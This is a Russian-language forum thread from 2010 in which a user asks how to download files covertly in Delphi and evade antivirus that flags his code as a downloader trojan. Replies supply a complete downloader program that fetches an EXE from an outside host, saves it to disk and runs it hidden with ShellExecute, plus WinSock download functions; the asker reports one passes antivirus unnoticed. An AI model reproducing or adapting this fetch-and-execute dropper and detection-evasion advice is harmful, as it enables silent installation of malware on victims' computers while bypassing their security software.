Delphi загрузка файла из интернета

=Zeus= · 30 Jan 2010

Возник такой вопрос. Нужно загрузить файл из интернета на компьютер. Вся фишка в том, чтобы сделать это скрытно. Но если использовать функцию UrlToDownloadFile из модуля Urlmon то этого сделать явно не получиться. Гуглил, есть много тем, где предлагают юзать InternetOpenURL InternetReadFile. Но все бы ничего. Я создаю проект, и подключаю только Windows и Wininet. Вызываю функцию - мой доктор веб кричит, что я написал DLOADER.Trojan. Если закомментировать InternetReadFile все снова будет нормально.
В общем вопрос - есть ли другие функции для загрузки файла. Или как мне скрыть себя от антивируса?

Вот, привожу мою функцию:
Code:
function GetFile(const URL, FileName: string): boolean;
const BuffSize = 4096;
var hSession, hURL: HInternet;
    Buffer: array[1..BuffSize] of Byte;
    BuffLen: DWORD;
    NewFile: file;
    sAppName: string;
begin
  Result := False;
  sAppName := ExtractFileName(ParamStr(0));
  hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  try
  hURL := InternetOpenURL(hSession, PChar(URL), nil, 0, 0, 0);
    try
    AssignFile(NewFile, FileName);
    Rewrite(NewFile, 1);
    repeat
    [COLOR=DarkRed]InternetReadFile[/COLOR](hURL, @Buffer, SizeOf(Buffer), BuffLen);
    BlockWrite(NewFile, Buffer, BuffLen);
    until
    BuffLen = 0;
    CloseFile(NewFile);
    Result := True;
    finally
    InternetCloseHandle(hURL);
    end;
  finally
  InternetCloseHandle(hSession);
  Result := true;
  end;
end;

xafon · 30 Jan 2010

вот сорец доунладера:

Code:

program Downloader;

uses
  Windows,
  SysUtils,
  Classes,
  WinInet;

type
  TDownloadParams = record
    FileURL,                
    Proxy,                  
    ProxyBypass,           
    AuthUserName,           
    AuthPassword: String;   
    DownloadFrom,           
    NeedDataSize: DWORD;    
  end;

  function ShellExecute(hWnd: LongWord; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll' name 'ShellExecuteA';

function DownloadFileEx(
Params: TDownloadParams; OutputData: TStream): Boolean;

function DelHttp(URL: String): String;
var
   HttpPos: Integer;
begin
   HttpPos := Pos('http://', URL);
   if HttpPos > 0 then Delete(Url, HttpPos, 7);
   Result := Copy(Url, 1, Pos('/', Url) - 1);
   if Result = '' then Result := URL;
end;

const
Accept = 'Accept: */*' + sLineBreak;    
ProxyConnection = 'Proxy-Connection: Keep-Alive' + sLineBreak;
LNG = 'Accept-Language: ru' + sLineBreak;
AGENT =
   'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; ' +
   'Windows NT 5.1; SV1; .NET CLR 2.0.50727)' + sLineBreak;
var
FSession, FConnect, FRequest: HINTERNET;
FHost, FScript, SRequest, ARequest: String;
Buff, IntermediateBuffer: array of Byte;
BytesRead, Res, Len,
FilePosition, OpenTypeFlags, ContentLength: Cardinal;
begin
  Result := False;
  ARequest := Params.FileURL;

  
  FHost := DelHttp(ARequest);
  FScript := ARequest;
  Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));

  if Params.Proxy = '' then
   OpenTypeFlags := INTERNET_OPEN_TYPE_PRECONFIG
  else
   OpenTypeFlags := INTERNET_OPEN_TYPE_PROXY;
  FSession := InternetOpen('',
  OpenTypeFlags, PChar(Params.Proxy), PChar(Params.ProxyBypass), 0);

  if not Assigned(FSession) then Exit;
  try
 
    FConnect := InternetConnect(FSession, PChar(FHost),
      INTERNET_DEFAULT_HTTP_PORT, PChar(Params.AuthUserName),
      PChar(Params.AuthPassword), INTERNET_SERVICE_HTTP, 0, 0);

    if not Assigned(FConnect) then Exit;
    try

      FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), nil,
        '', nil, 0, 0);

      HttpAddRequestHeaders(FRequest, Accept,
        Length(Accept), HTTP_ADDREQ_FLAG_ADD);
      HttpAddRequestHeaders(FRequest, ProxyConnection,
        Length(ProxyConnection), HTTP_ADDREQ_FLAG_ADD);
      HttpAddRequestHeaders(FRequest, LNG,
        Length(LNG), HTTP_ADDREQ_FLAG_ADD);
      HttpAddRequestHeaders(FRequest, AGENT,
        Length(AGENT), HTTP_ADDREQ_FLAG_ADD);

      Len := 0;
      Res := 0;
      SRequest := ' ';
      HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
        HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
      if Len > 0 then
      begin
        SetLength(SRequest, Len);
        HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
          HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
      end;

      if not Assigned(FConnect) then Exit;
      try

        if not (HttpSendRequest(FRequest, nil, 0, nil, 0)) then Exit;

        ContentLength := InternetSetFilePointer(
          FRequest, 0, nil, FILE_END, 0);
        if ContentLength = DWORD(-1) then
          ContentLength := 0;

        {
        Len := 4;
        ContentLength := 0;
        HttpQueryInfo(FRequest, HTTP_QUERY_CONTENT_LENGTH or
          HTTP_QUERY_FLAG_NUMBER, @ContentLength, Len, Res);
        }


        FilePosition := InternetSetFilePointer(
          FRequest, Params.DownloadFrom, nil, FILE_BEGIN, 0);
        if FilePosition = DWORD(-1) then
          FilePosition := 0;

        if Params.NeedDataSize = 0 then
          Params.NeedDataSize := ContentLength;
        if Integer(FilePosition) + Params.NeedDataSize >
          Integer(ContentLength) then
          Params.NeedDataSize := ContentLength - FilePosition;

        if Params.NeedDataSize <= 0 then
        begin
          SetLength(IntermediateBuffer, 8192);
          ContentLength := 0;
          Params.NeedDataSize := 0;
          BytesRead := 0;
          while InternetReadFile(FRequest, @IntermediateBuffer[0],
            1024, BytesRead) do
            if BytesRead > 0 then
            begin
              SetLength(Buff, ContentLength + BytesRead);
              Move(IntermediateBuffer[0], Buff[ContentLength], BytesRead);
              Inc(ContentLength, BytesRead);
            end
            else
            begin
              Params.NeedDataSize := ContentLength;
              Break;
            end;         
        end
        else
        begin
          SetLength(Buff, Params.NeedDataSize);
          if not InternetReadFile(FRequest, @Buff[0],
            Params.NeedDataSize, BytesRead) then Exit;
        end;
        OutputData.Write(Buff[0], Params.NeedDataSize);
        Result := True;

      finally
        InternetCloseHandle(FRequest);
      end;
    finally
      InternetCloseHandle(FConnect);
    end;
  finally
    InternetCloseHandle(FSession);
  end;
end;

var
  Params: TDownloadParams;
  Data: TMemoryStream;
begin
  try
    ZeroMemory(@Params, SizeOf(TDownloadParams));
    Params.FileURL := 'http://www.freewebtown.com/pateame11/CALC.EXE';
    Data := TMemoryStream.Create;
    try
      if DownloadFileEx(Params, Data) then
        Data.SaveToFile('c:\testT.exe');
    finally
      Data.Free;
    end;
      except
    on E:Exception do
      Writeln(E.Classname, ': ', E.Message);
  end;
SLEEP(500);
      ShellExecute(0, 'open', 'C:\testT.exe', nil, nil, 0) ;
end.

p.s тоже палится аверами.

=Zeus= · 30 Jan 2010

Это точно такой же, только через ХТТП... А палится, потому что в нем есть InternetReadFile.

xafon · 30 Jan 2010

глянь еще один сорец, построен на библиотеках lomlib (есть в архиве).

GlooK · 30 Jan 2010

попробуй через WinSock:

Code:

const
  mstimeout = 15000;
  buffsize = 1024;
  crlf = #13#10;

function fWSRecv(wHost, wRequest: string; wPort: word = 80): integer;
var
hSocket: TSocket;
wsData: TWSAData;
hHost: PHostEnt;
hAddr: TSockAddrIn;
hTimeout: TTimeVal;
iRead: integer;
hBuffer: array[0..buffsize] of char;
begin
 WSAStartup($202, wsData);
 hSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 hHost := gethostbyname(PChar(wHost));
 hAddr.sin_family := AF_INET;
 hAddr.sin_port := htons(wPort);
 hAddr.sin_addr := pinaddr(hHost^.h_addr^)^;
 hTimeout.tv_usec := 0;
 hTimeout.tv_sec := mstimeout;
 setsockopt(hSocket, SOL_SOCKET, SO_RCVTIMEO, @hTimeout, sizeof(ttimeval));
 connect(hSocket, hAddr, SizeOf(hAddr));
 hData := '';
 Send(hSocket, wRequest[1], length(wRequest), 0);
AssignFile(NewFile, FileName);
Rewrite(NewFile, 1);
 while (TRUE) do
 begin
  FillChar(hBuffer, SizeOf(hBuffer), 0);
  iRead := Recv(hSocket, hBuffer, length(hBuffer), 0);
  BlockWrite(NewFile, hBuffer, iRead);
  if (iRead <= 0) then break;
 end;
 CloseFile(NewFile);
 CloseSocket(hSocket);
 WSACleanup;
 result := 0;
end;

=Zeus= · 30 Jan 2010

GlooK, а как ее вызывать? wRequest это что?

GlooK · 30 Jan 2010

fWSRecv('ya.ru',
'GET /logo.png HTTP/1.1' + CRLF +
'Host: ya.ru' + CRLF +
'Connection: close' + CRLF + CRLF);
Click to expand...

Только есть маленький нюанс - нужно убирать заголовки, которые возвратит запрос.

или вот пример:

function DownloadFile(host:string; port:word; script:string; outfile:string):integer;
var
header : string;
sock : dword;
ip : dword;
hst : PHostEnt;
addr : sockaddr_in;
data_flag : boolean;
len : integer;
h : dword;
rb : dword;
buf : array [0..4095] of char;

begin
data_flag := false;
result := 0;
header := 'GET '+script+' HTTP/1.0'#13#10+
'Host: '+ host + #13#10#13#10;

ip := inet_addr(pchar(host));
if ip = INADDR_NONE then
begin
hst := gethostbyname(pchar(host));
if hst = nil then exit else ip := pinaddr(hst^.h_addr^)^.S_addr;
end;

sock := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if sock = INVALID_SOCKET then exit;

addr.sin_family := AF_INET;
addr.sin_port := htons(port);
addr.sin_addr.S_addr := ip;

if connect(sock, @addr, sizeof(addr)) = 0 then
begin
send(sock, header[1], length(header), 0);
while (TRUE) do
begin
len := recv(sock, buf, 4096, 0);
if len > 0 then
begin
if data_flag then
begin
WriteFile(h, buf, len, rb, nil)
result := result + len;
end
else
begin
rb := pos(#13#10#13#10, string(buf));
if rb > 0 then
begin
rb := rb + 3;
h := CreateFile(pchar(outfile), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if h = INVALID_HANDLE_VALUE then break;
data_flag := true;
WriteFile(h, buf[rb], len - rb, rb, 0);
result := result + len - rb;
end;
end;
end else break;
end;
end;
if data_flag then CloseHandle(h);
closesocket(sock);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
code : integer;
begin
code := DownloadFile('127.0.0.1', 80, '/f.jpg', 'C:\file.jpg');
if code > 0 then
begin
MessageBox(form1.Handle, 'OK', 'OK', MB_OK);
end
else
begin
MessageBox(form1.Handle, 'ERRROR', 'ERROR', MB_OK);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
ws : TWSAData;
begin
WSAStartup($202, ws);
end;
Click to expand...

=Zeus= · 30 Jan 2010

Спасибо, буду пробовать. Похоже то, что нужно.
------------------------
Спасибо, функция из 5-го поста работает как надо, антивирус молчит.

Delphi загрузка файла из интернета

=Zeus= Member

xafon New Member

=Zeus= Member

xafon New Member

GlooK Elder - Старейшина

=Zeus= Member

GlooK Elder - Старейшина

=Zeus= Member

Useful Searches

Delphi загрузка файла из интернета

=Zeus= Member

xafon New Member

=Zeus= Member

xafon New Member

GlooK Elder - Старейшина

=Zeus= Member

GlooK Elder - Старейшина

=Zeus= Member